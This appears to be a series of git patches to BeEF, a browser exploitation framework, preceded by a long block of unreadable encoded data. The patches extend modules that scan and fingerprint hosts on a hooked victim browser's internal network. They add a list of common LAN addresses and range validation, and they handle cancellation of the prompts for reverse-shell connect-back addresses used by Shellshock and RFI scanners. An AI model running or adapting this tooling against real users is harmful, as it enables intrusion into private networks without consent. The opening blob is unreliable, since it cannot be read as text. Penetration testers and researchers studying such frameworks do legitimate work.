zliYaCEzC?c`0V3fVyHC8JMOy=FOwzX_Kvz(c~!2Ux|5G8_(lV>RUK4)hpXvdQGJoq2bam<&#^%$T1`lq;a?~m|? zo8CaVub1OzPjdR~1rDD+KsN7DX#})_2sh)<*I%UEJIwCwd#Kcws4QOK1Ao${)3=M< zV29uR(}a#Ffn4J5@h=b$h8$YHnyK^SU_khVbjN{Q8%=)2y>_vYRtMV-K}ba2g-mzp zV=Dw95Wai4T8d(95F-jcZZ?x5prpNuYd7@MNubfuxX!Be3reK|a|?4crzijL2N6EJ zMmI2f*LOdX-bUe{KKQQp{hCD4Y&D4^Lm0($Ix(G2L>Pv2qJ%Jvh?9gk*2G$;b943z zXtT@f>!Kf!XwV5(hY(xL;ta#PU!c_2M(Z5qLIxd%1WBEN-pw?F8kP1W!`?WR+7xpu zb;d`x(p&0hV(JWodq;TSmaQB8$GI>+ zPo-YNlY%HVgh8D{0{V+Zwv}huv@v06*&&}DqD{c$EL0lP?A!MRuH6(eUCHD6f=V4~ zt(g7Kz6wbJ3jhEf+(|@1R31DRyRbxg*8qR^d-rqyEgLB1ih$vtzj}mU{^(N-lrsF| zuiZ%|(uuu zqp^6F?PE8vt~f-e9WdW$BRv#Zt7>w7mSQG@=eoFIM4WhR8PJ&e6bB9na$W`3b+M++ z=5;Zbu2IZOOar(<;tnE;5H}O4(_uRLeckJ8B!%v)~m{n}wxQ=p8FewdZ z|LHySm(y9ot;4zQat+JwjU~2?=Sizct& z=)>w1-YQHiQ?9x4I6s|Z>mEtHCQx1mVKqgOCC>Fx&KBqhg$}Cp4-C`l%yMD+9M8Qp zOD&pbu)G=1FLJb1qgG#`uU=&Q)Bq_PnYo1u-#-2#21Cww@jZd> z^^nh`W8aSBpyP zv5#^|F}c`AI6j3!21hwaDd_L%;q>er;nBx_>3a(AHLf4l1Bm3@L0dg{@RyEm+4_|| zn?{(OTgGuD);ir;IxbVGyGfqCqWp`oT|h)ampp1Qmz5x!usFSe+J>W)2L$yxG=c_N zDwI=VC1^63-^!WhH))y-S>qEf9zzq7bMr)<8c`gO?HNXTio;X;88|wER1#xcj!&QC z`fb~ptFCbJ!~wFthf)%RMkxnv6RfbbbO+BUTCFOc^2n(FueUP~vg5e#`=^gN-nBP& z7biggyeWzyVM-K5>ZD|e))AE)mlY<87M-2GrNPwT@WO}OjYk3Z{FLP{(gVI z{`Iea{p&83Qi;V@i+a?>mx?adb;pocEQhC$W36F)c#@C2;}hJn_ZHH$PGnNFa!IlP z=f#tPuYdmlKYMzbr%o)gINxPta*#J)JHdmGJe3>b&o*SF+gbvbYk{ zNMK~JOez#gDXNtciGas`{we`&4gz3;Ob#{^>)v zfB5~~dYxvwgH2qlKrf2vbrX8s9=#}{7bWz1u`>!2gE7{ngL7fFklMA`H`y}_Q^TA( z$eV86&*-q>_+pB$+{~lI#*9>k@dM4=;vBQ>lME&Uc-r8nJ(_U`fg|9sq8J+Z)U76=su6`5SCb#m2tM~G{tM{Umq!;z@wIY?0b{hniTE(r1cFXU6 zj$a&JWPEItxy3d}%dOXLV%O#xvr8TR@q5qm?%VdVeI#Uhxr;%u)CG$o@I8D_F*&h` zA3pj-^88mnF=khuT`A(U9*F&Tzns;>Wis_6YZecF=)T=oF5UK~*9Xy5M3jP;X2zeN zVy(9};bPU-vDW>I4InL8u}0VIPpTW}ZP&5y5zW7N&;8W=Dy_s#Q9~$NNr#jQp3%t`ynfx z71A_ipjsn}yF_tJH%>4rAct}v63LrXe}5S9^}yU8K!>p&EErZ@bl_CFD-Ds1Q314UfMa+nY!x>AKt%h z%h#^iv6<;J^PnX-kRD^^S`N^9+_`R{+YEdu5gvRDOS&+A@T8m{s(n~GfB!MKx7lt^sw6XvcDFk!% zMXZP^t1`otK_-XCu{I^B46<$W4mzDBPMkPQV#Vr8=~5}$Q3sO^Vx?({^fVP6qJ=<8 z4{H#ZlV`4%-KZZUDaay{~iN(9_)UhkwHDAOCG0dh$W`Ts+Bv zgAIiL8~le4T+8FnPVt?44kL$0!SfKxIe4^|Y#%MrO)OC&@B-Jj_p~MvmXcqhRt*TU zYh#m}_}0BYZqI)054NYKwFs0mnKBf7ko^RB0p2fx0J(ZmS@D575SD)RQwKhL`-gU~ zEG!VUJ5;jNaLu-%-i~OtB08NeagxxB5~5yAk~k+(Vhl-Qu!$wlN0%Fq2oQ@^_FQ)# zH|(C_%qfZT6{gpto3s$A1>s?YK!-KTr2&?j3(Pkb>6#t_L0S838r;N9SKr8GyDsOh zpWMTf$9~ChWgGC#nrp^GE<*rVzSEIT%ALwcA?a3V9AhTkb^_ud#l5@N=cNE zguWyUeUO^a*La?fANT};#`m)OJ;CP5Nq+X^vmChdzx=vcKJZOo1eXHV6w0eYfE;{{ z3sWrtGlBg4C8cfenulMMgh$u>kqnIek31BhS z?Xk9?2|%PF_RI{ozViX9A+*|>)W*c^6;@1yr$Poi4q0~Q*D&Pr=MfAHbRO;X&+En6Jt`BSkl-SPx_1w3=_2$z^0s-Im!S0&!6T^*WbeF z#WS3qpXKne=U8ei^TabxaNybf#5QJf>khi6%l!NzLqh{--|*1>EoikD5&X8R%m zUO<9=yf+ROdm#ymMP?*Wz#h`hQM4joHT={1mqpaf`% zRKi8_Xocr#Jgo^ljpu7hC7)8s$Mb#sz{AfZ-}fB&BcmfMwmLlg_0RnvK5_S-0=s~) zfQ2kzbY9zw8G-%AUk-l1Cb-JBkAC~k~MK0cc4L43~DQ#5IVZ2D0bgQK?m_mr~*@h4wVQ@4A%Q(|DeT=V|;PzvdR+8XO)5 z9q`>dKXW*G`pcgHHfQzUz)60NN!FI0UoYUrnt-DE&!yhOwf`Yd$x01pgf#TT%^$z{ zW1qb3$~_k`Gj$qcQ`h%T3`s90HZf6@5=Aj_96N(Bj!Alk$Y%C{v94*zGiT_t<|j`+%F4>8@s)eO%<=id zcm$MW8Bco%At`x2&8SPgyMoLlexx!?wOq!S1f_hIn+@viI-~*}X^u`GKuCcMYg~WP z9tKKPgzce&0qVV&X56J((JZw>4n6i>7zR`~TRlx83-Od*2EOMh{7e%l&%^gMzVEc6 zrxij<28OEWQiZR7@iTMXeSh(Lz)Xh03eW^vKnK?hM7+=#+^`9FDc!*SCZJynl!2jS z=7G;Y@ag|rEB~iIyXE3-TRC%T+D#A@*|hRlAw;}7!&qif#gU4Uu^<+LL>gDo(qfGv z>P7gWNA0Q#$>J^C^7;|HvSsS@87lq&bF)YI#@*j15C){)7|#;;KD{I+^g>oTElNQNUul-xb(DZ!(!(0b=Acmd^L!oh|u(kOz0T2p_2g zwSgL?@*rRN(x)5UeSdLB2JYqze2+Etuhzlof@y#v;JNgdSd;#NtPEzKCwlAKKlZlY zzvJ3Vw{7Ok>1mf4%UFytP8%eKBu-qnFiPBU5)(%TW86@(F@|o}l8Ts5eCRrMZmBXe zmvZ;M2N)hX$<1%rO%e$n+5aq?$HtkSo8p0|@5lE%c5bL<_;d@GyR*%2)3Ebh~^1|M*Mb zI1psu*R#^dN*m~MwlSFJa3SBnQcqyfz{oX0v51TqDw+D>m+t-Zj%j`DPp;p4<&~U1 zd5SzX#7*xKcv7t929A|N#R4r2v5_t*Qe=?I&}>EQd+az{Ms{=L)GQAiN$55P`RcbG z=8~%yc;nuSI6413i>)qK?7WsncZK8g)ATxRWY?mk#UfC?pz05km|hmp;^s9NV=!2h z){NH1m>Atk=vR5<@ByUMjFc;seV@g+PAUzv%>^dP6G-VHWq`5?qSql!6=6B$2RL*W19vdYU9$)$F|7vs}{>#q-^S~HR<@eY5 zOEUak2?5Tv6@AblppvH$l(@)N0ZBf6T)5cwSV^Qx z(6J}JsX@W3oTdTa{qE2Q!XhsWrJV;p^aj_J80-152fAigS3`fc@uHkqupAfm-I*yix4S7Dwmo@q;!%Pty3U8eCP9jIvXAM;#YtrU=%0id0oFO!27qCN`U^pWwF@4y$6J5dH?qw{j1+;E&Qub zzWqJ#dKXIzbF>>xgiz#}NQIDSAzda>B}lYF#Riqcc*@{;iqPNW{0BC1`KOFwu&n3| zZKLu02tR)CG{67Rkf#qm#i_aDjE!DI(+g=OT}rxymM;5wy?KUIXxcU+O(PHrCA1rs zP!@qgQDU~fz;fI`plBuuzVuKsaBKWX52QzmAQhUD9v~jJw3d$2>L|M15o$GsQa+yc zGA-bwUV949&uoEgmX%c5JWEfpb?a7+o|xvI&;IwL@v-mz15Tw6;*7jpt=mF9uj}x+ z&;-~Bc+*#M>od*>-~mH6o_gTuoxi>Gh3WtH{@=X)b}#e;7Umbxo}gOxXtiS^DUn7J zONrKoSW9%QND_lK3BES?zKc4F6N{E9QVKft4zImogm+(e6FUYMIqW}2Vxbqcsgwrk zv{vXP1}QC`@<~&Ju?C4ERtjkZk+3MCsK^kdE1&`@wJOcJ1?eMv7u#rsL`hBPRZyyi zl^Q8r526%qV_=Kn`0NhKL4{J#L#Ys@oy2QTx%OXW0h~&qv_NJvdrGA;W8<5+|G}T| z)ZhR4+aZ_oe&SvcBwO)W$ znYz#7{6|N}5WeQ`zV=nS@ZCSXCr##mo&oRS)P9WX-u2gS!kW;XiwGN%;-&fl@@`+= z6DYIh3mCxl2&&n68D|g%Sy$7Q)jsQOaFVJxBt#>;nKMd zWMD>F>1K7;!Wn^$LTP0r$^8I1F>*qjMSzz(7El}r%KQC69|@}K5TKmh=NCwjxCaid z4&VGo?|Rq!f4#JQauW;l^Yq%?EL=V<5FvF|dUkG%!NfLmFd3{hSR?7g9g=8?AZ&BR zB`d5fuDJOEdXR;s$DQwAg(Pu^wH>tZ2*Y8N7jU|>NSs83QZQ5+ zMGB2c4aP1bWSPOiD(%i3%gc4PZNGvO&zD(Q8m3zFP?~Js-r8V~a|C5+_M~QPVvHzB z`O$s%aq_Ou{L(D^^4<)*3QnSP@Ov2n+8NkI5;P0ocUjXCxrTnxv4EE{7?gKA`n5ob zHJ?BZeqKu1J-L%T_aX{hAGW5)ZhZUB+kWSocfRwjm?UO-evu?G84)r9SnF03$vlHe zw#14}+;M6w)(X09pNSo9c5axx@KEOpDNASFt= zs2!=Li`yrq-aLtvFf_Oaqy~`^h6++evmuz7324+qbdaD#nbKf@%EH8ybc(tcLRsBy34aF=0N7)uSbCVI0wIfFz5w7fLBU@eh**{ zW{?4$OMDJ~ex4H`D10aXew4kyrT%L^a_bvE_;1Fqz4CIJtvdDPW#Vk1g*07TV$Ch4 zh$Dq@lTqB~mR?sg@;QNYhQ}X-?Mbs$~R?CDXok_P_M?q!%_*Kva2q`F+D-4g0GQU#i z```YSS-J1C57^GppJbrb3c%&y=c+$f|2YAQ`%YGJZBeub)-?)W2?5}22Sl+c$VreB zp-6~a3*=3K&zcL<%YMHFNa0Q15Zv_9o8NrvZIwN{wv+T?mY0`_<9KySfz6_hZ3cR3 zUH0&tB+W+3?#mVtD#b>S#+F9=D849Du1#RF{D7&oh}Fd)aHEi}0!TfVu1yLJ*}$|E zf+!X|_e`0Ap$fk5qL>A4AWLKkvs{8}mnK?B9PlH<%-0({v~M3%Km5}EWcHzbIDdXM ztB)RM8`HV!FRK5X1Z~b%`@O>V`i(&@1ObX9=no3fS;R?r-QEdbtG1Ya`!^ zv4KUKU_Bxf_x%LuCqZ6{L$lwWo-3}u;dP9UkKu`wZq%dQY!Y?XBs;Z| zpd3@KCfGP15OaWAA;@#Wi@rPvsap+$vz48DRV5)w1xs_zi5{XHOI&HeG z9!VNeEhi*do?Ru=7kbXqvkzP@>$O19V$~@rX|*Lb4G2SzFboNTfNmT!GqcE%BhT{O z;}0(+$9{gu%s=u3Zq%-elXjo8y`&pSes1*_+yCNuRJbq6j&rA6f4krJ28D|khyeMP zYl33$AlC+YSFuQjoB+jZUZE6;P_!}f6xs=yGYQx%yva-Smg_GIFS%~##e1%*?bx}K zO=F|@VMr~oNEy4plO!QYV$y7}rfiJ&tYj!k0K!GzfXjoVvuCbjcbtPMs1Pd&Yf!P((Q6`&z7OhyT``2PWYpvqYMuY zQ5&ie`fe_rr!`6{H!%eumDwuZ35hZE;*@Tu%kuIv(^GTQ>vhgdA6d3j$4;BMLnrOZ zk>}I2bpkg^*JF*?c|X1g`g+p8k?TBK=eS6ie*gbV0v|360pNus$O+JIAQr*vZz6J1 z6hYs}9w-t(_8kk(u2{iZxZ02q)e#Yl4U5wFm?%}N!Y_xSJX8{X;AiH(>-w2EPFpJx zy=E)zby{g>u5R1&bE%zQ1{PU!yIR%)W3mj-XG!Bm17!WGe?3jme?95@jrD*(Z}8#5 z5n%Q9zT;xZSieSCj||1q4}SmsMGYVe``rG>|1Yeyjs1}^xy_Om?xpWLuohIAYn$A8 zmA_vRgreWQNP>RV-%o;mpo=4^8;$sFB=xLwzV3FR2>>r7LB8LpX()!2uSbk?0lyIe z){9Ka0qi&JU&?T4f4qa`g@#wL^b??;4C_gCe{->snm^Z&?|Hw|g_s=rg5TuqXrO${ z@}aIie7-b8ao?}fHv;;lg5Mu1l}menB+Yuyou98)UW@?!O~86h!g@gW@9jGO^A!QV z(RQIi!tw`sF(MSz=SEFM|M7a)&IkM)^!30$mzwK$q`X`btVfD--LsLTzbe4z+l7n? zgtN6lex7eR5pojrOX_+}MnAAQ3B)>|Z3KS5?;=0$*IdQp^C7@`WJoz1*nBGVdL-FM z!p{YKf1SSK?Lrd(&VImtjZm!UVtd@LuGc$%vHiJJe!t|eX9V^?XK`QDV&_AK_4fVO zDD3+If7OA{w^xGz#jU?-C|-lLip}rIwL|fIJ&8V_Lf", <%= @command_id %>, "fail=malformed IP range supplied"); - return; - } - - // ipRange will be in the form of 192.168.0.1-192.168.0.254 - // the fourth octet will be iterated. - // (only C class IP ranges are supported atm) - ipBounds = ipRange.split('-'); - lowerBound = ipBounds[0].split('.')[3]; - upperBound = ipBounds[1].split('.')[3]; - for (var i = lowerBound; i <= upperBound; i++){ - ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; - ips.push(ipToTest); + // set target IP addresses + if (ipRange == 'common') { + // use default IPs + ips = [ + '192.168.0.1', + '192.168.0.100', + '192.168.0.254', + '192.168.1.1', + '192.168.1.100', + '192.168.1.254', + '10.0.0.1', + '10.1.1.1', + '192.168.2.1', + '192.168.2.254', + '192.168.100.1', + '192.168.100.254', + '192.168.123.1', + '192.168.123.254', + '192.168.10.1', + '192.168.10.254' + ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied"); + return; + } + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (var i = lowerBound; i <= upperBound; i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } } WorkerQueue = function(frequency) { diff --git a/modules/network/cross_origin_scanner/config.yaml b/modules/network/cross_origin_scanner/config.yaml index 7cedc2e37..204067d05 100644 --- a/modules/network/cross_origin_scanner/config.yaml +++ b/modules/network/cross_origin_scanner/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Network" name: "Cross-Origin Scanner" - description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF." + description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.

Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] # http://caniuse.com/cors target: diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index a7a503c6a..c1e9eabfb 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -13,10 +13,36 @@ beef.execute(function() { var timeout = "<%= @timeout %>"; var wait = "<%= @wait %>"; var threads = "<%= @threads %>"; - var urls = new Array('/favicon.ico', '/favicon.png'); + var urls = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png'); // set target IP addresses - if (ipRange != null){ + if (ipRange == 'common') { + // use default IPs + ips = [ + '192.168.0.1', + '192.168.0.100', + '192.168.0.254', + '192.168.1.1', + '192.168.1.100', + '192.168.1.254', + '10.0.0.1', + '10.1.1.1', + '192.168.2.1', + '192.168.2.254', + '192.168.100.1', + '192.168.100.254', + '192.168.123.1', + '192.168.123.254', + '192.168.10.1', + '192.168.10.254' + ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied"); + return; + } // ipRange will be in the form of 192.168.0.1-192.168.0.254 // the fourth octet will be iterated. // (only C class IP ranges are supported atm) diff --git a/modules/network/get_http_servers/config.yaml b/modules/network/get_http_servers/config.yaml index dd167d867..7ef33d540 100644 --- a/modules/network/get_http_servers/config.yaml +++ b/modules/network/get_http_servers/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Network" name: "Get HTTP Servers (Favicon)" - description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon." + description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon.

Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] target: user_notify: ["FF", "IE", "C", "S"] diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index a11a03862..ba68105cc 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -17,19 +17,8 @@ beef.execute(function() { ports = ports.split(','); } - // set target LAN IP addresses - if (ipRange != null){ - // ipRange will be in the form of 192.168.0.1-192.168.0.254 - // the fourth octet will be iterated. - // (only C class IP ranges are supported atm) - ipBounds = ipRange.split('-'); - lowerBound = ipBounds[0].split('.')[3]; - upperBound = ipBounds[1].split('.')[3]; - for (i=lowerBound;i<=upperBound;i++){ - ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; - ips.push(ipToTest); - } - } else { + // set target IP addresses + if (ipRange == 'common') { // use default IPs ips = [ '192.168.0.1', @@ -49,6 +38,23 @@ beef.execute(function() { '192.168.10.1', '192.168.10.254' ]; + } else { + // set target IP range + var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); + if (range == null || range[1] == null) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied"); + return; + } + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (i=lowerBound;i<=upperBound;i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } } /* Signatures in the form of: diff --git a/modules/network/internal_network_fingerprinting/config.yaml b/modules/network/internal_network_fingerprinting/config.yaml index 77f6d75b4..34173741a 100644 --- a/modules/network/internal_network_fingerprinting/config.yaml +++ b/modules/network/internal_network_fingerprinting/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Network" name: "Fingerprint Local Network" - description: "Discover devices and applications in the victim's Local Area Network.

This module uses a signature based approach - based on default logo images/favicons for known network device/applications - to fingerprint each IP address within the LAN.

Partially based on Yokosou and jslanscanner." + description: "Discover devices and applications in the victim's Local Area Network.

This module uses a signature based approach - based on default logo images/favicons for known network device/applications - to fingerprint each IP address within the LAN.

Partially based on Yokosou and jslanscanner.

Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles", "wade", "antisnatchor"] target: user_notify: ["FF", "IE", "C", "S"] From 24dab8b1c99b8303df28d1ccb049dc82650db91c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 29 Jan 2015 16:01:19 +0000 Subject: [PATCH 10/19] UI - return if user cancels prompt --- .../ui/panel/tabs/ZombieTabNetwork.js | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index 050dbd819..ff28dd2b2 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -174,6 +174,10 @@ ZombieTab_Network = function(zombie) { iconCls: 'network-host-ctxMenu-network', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); + if (!ip_range) { + commands_statusbar.update_fail('Cancelled'); + return; + } var mod_name = "get_http_servers"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for web servers...'); @@ -228,6 +232,10 @@ ZombieTab_Network = function(zombie) { iconCls: 'network-host-ctxMenu-network', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); + if (!ip_range) { + commands_statusbar.update_fail('Cancelled'); + return; + } var mod_name = "internal_network_fingerprinting"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Fingerprinting ' + ip_range + '...'); @@ -282,6 +290,10 @@ ZombieTab_Network = function(zombie) { iconCls: 'network-host-ctxMenu-network', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); + if (!ip_range) { + commands_statusbar.update_fail('Cancelled'); + return; + } var mod_name = "cross_origin_scanner"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('CORS scanning ' + ip_range + '...'); @@ -623,7 +635,15 @@ ZombieTab_Network = function(zombie) { handler: function() { var mod_id = get_module_id("shell_shock_scanner"); var lhost = prompt("Enter local IP for connect back shell:", 'LHOST'); + if (!lhost) { + commands_statusbar.update_fail('Cancelled'); + return; + } var lport = prompt("Enter local port for connect back shell:", 'LPORT'); + if (!lport) { + commands_statusbar.update_fail('Cancelled'); + return; + } alert("Now start your reverse shell handler on " + lhost + ':' + lport); commands_statusbar.update_sending('Shellshock scanning ' + ip + '...'); $jwterm.ajax({ @@ -648,7 +668,15 @@ ZombieTab_Network = function(zombie) { handler: function() { var mod_id = get_module_id("rfi_scanner"); var lhost = prompt("Enter local IP for connect back shell:", 'LHOST'); + if (!lhost) { + commands_statusbar.update_fail('Cancelled'); + return; + } var lport = prompt("Enter local port for connect back shell:", 'LPORT'); + if (!lport) { + commands_statusbar.update_fail('Cancelled'); + return; + } alert("Now start your reverse shell handler on " + lhost + ':' + lport); commands_statusbar.update_sending('Shellshock scanning ' + ip + '...'); $jwterm.ajax({ From 53a05d1901adcb26279f021843e3317659439133 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 29 Jan 2015 18:00:05 +0000 Subject: [PATCH 11/19] Add extension description --- extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js | 3 ++- extensions/network/config.yaml | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js index 932811ca0..0485255ff 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js @@ -35,7 +35,8 @@ WelcomeTab = function() {
  • The command module does not work against this target

  • \
  • XssRays: The XssRays tab allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS.
  • \
  • Rider: The Rider tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser. \ - Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.

  • \ + Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response. \ +
  • Network: The Network tab allows you to interact with hosts on the local network(s) of the hooked browser.

  • \

    You can also right-click a hooked browser to open a context-menu with additional functionality:


    \
      \
    • Tunneling Proxy: The Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\". \ diff --git a/extensions/network/config.yaml b/extensions/network/config.yaml index 36323e423..a85fb53f0 100644 --- a/extensions/network/config.yaml +++ b/extensions/network/config.yaml @@ -9,3 +9,4 @@ beef: name: 'Network' enable: true authors: ["bcoles"] + description: "This extension facilitates interaction with hosts on a zombie browser's local area network(s). It provides a point and click interface for performing a variety of actions including host discovery, fingerprinting and exploitation. Identified network hosts are available in the Network -> Hosts panel. Identified network services are available in the Network -> Services panel. Right-click a host or service for more options." From 16ecb32e4615bc5660c1f49bb655827a71fafd89 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 30 Jan 2015 06:57:01 +0000 Subject: [PATCH 12/19] Report identified hosts to network extension --- modules/host/get_internal_ip/module.rb | 16 ++++++++++++++++ modules/network/ping_sweep/module.rb | 16 ++++++++++++++++ 2 files changed, 32 insertions(+) diff --git a/modules/host/get_internal_ip/module.rb b/modules/host/get_internal_ip/module.rb index d0c436292..79439b23a 100755 --- a/modules/host/get_internal_ip/module.rb +++ b/modules/host/get_internal_ip/module.rb @@ -20,6 +20,22 @@ class Get_internal_ip < BeEF::Core::Command content['Result'] = @datastore['result'] save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/get_internal_ip.class') + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # save the network host + if @datastore['results'] =~ /^([\d\.]+)$/ + ip = $1 + print_debug("Hooked browser has network interface #{ip}") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r.save + end + end + end end diff --git a/modules/network/ping_sweep/module.rb b/modules/network/ping_sweep/module.rb index 0eea04f61..4081ff2f8 100644 --- a/modules/network/ping_sweep/module.rb +++ b/modules/network/ping_sweep/module.rb @@ -26,5 +26,21 @@ class Ping_sweep < BeEF::Core::Command content['fail'] = 'No active hosts have been discovered.' end save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # save the network host + if @datastore['results'] =~ /host=([\d\.]+) is alive/ + ip = $1 + print_debug("Hooked browser has network interface #{ip}") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r.save + end + end + end end From 0623b8f667f03fe98ed4789bc6ac6f115d2463e6 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 30 Jan 2015 21:16:29 +0000 Subject: [PATCH 13/19] Add Fingerprint Routers module --- .../ui/panel/tabs/ZombieTabNetwork.js | 22 + modules/network/jslanscanner/command.js | 410 ++++++++++++++++++ modules/network/jslanscanner/config.yaml | 18 + modules/network/jslanscanner/module.rb | 47 ++ 4 files changed, 497 insertions(+) create mode 100644 modules/network/jslanscanner/command.js create mode 100644 modules/network/jslanscanner/config.yaml create mode 100644 modules/network/jslanscanner/module.rb diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index ff28dd2b2..ebc6b6b69 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -141,6 +141,28 @@ 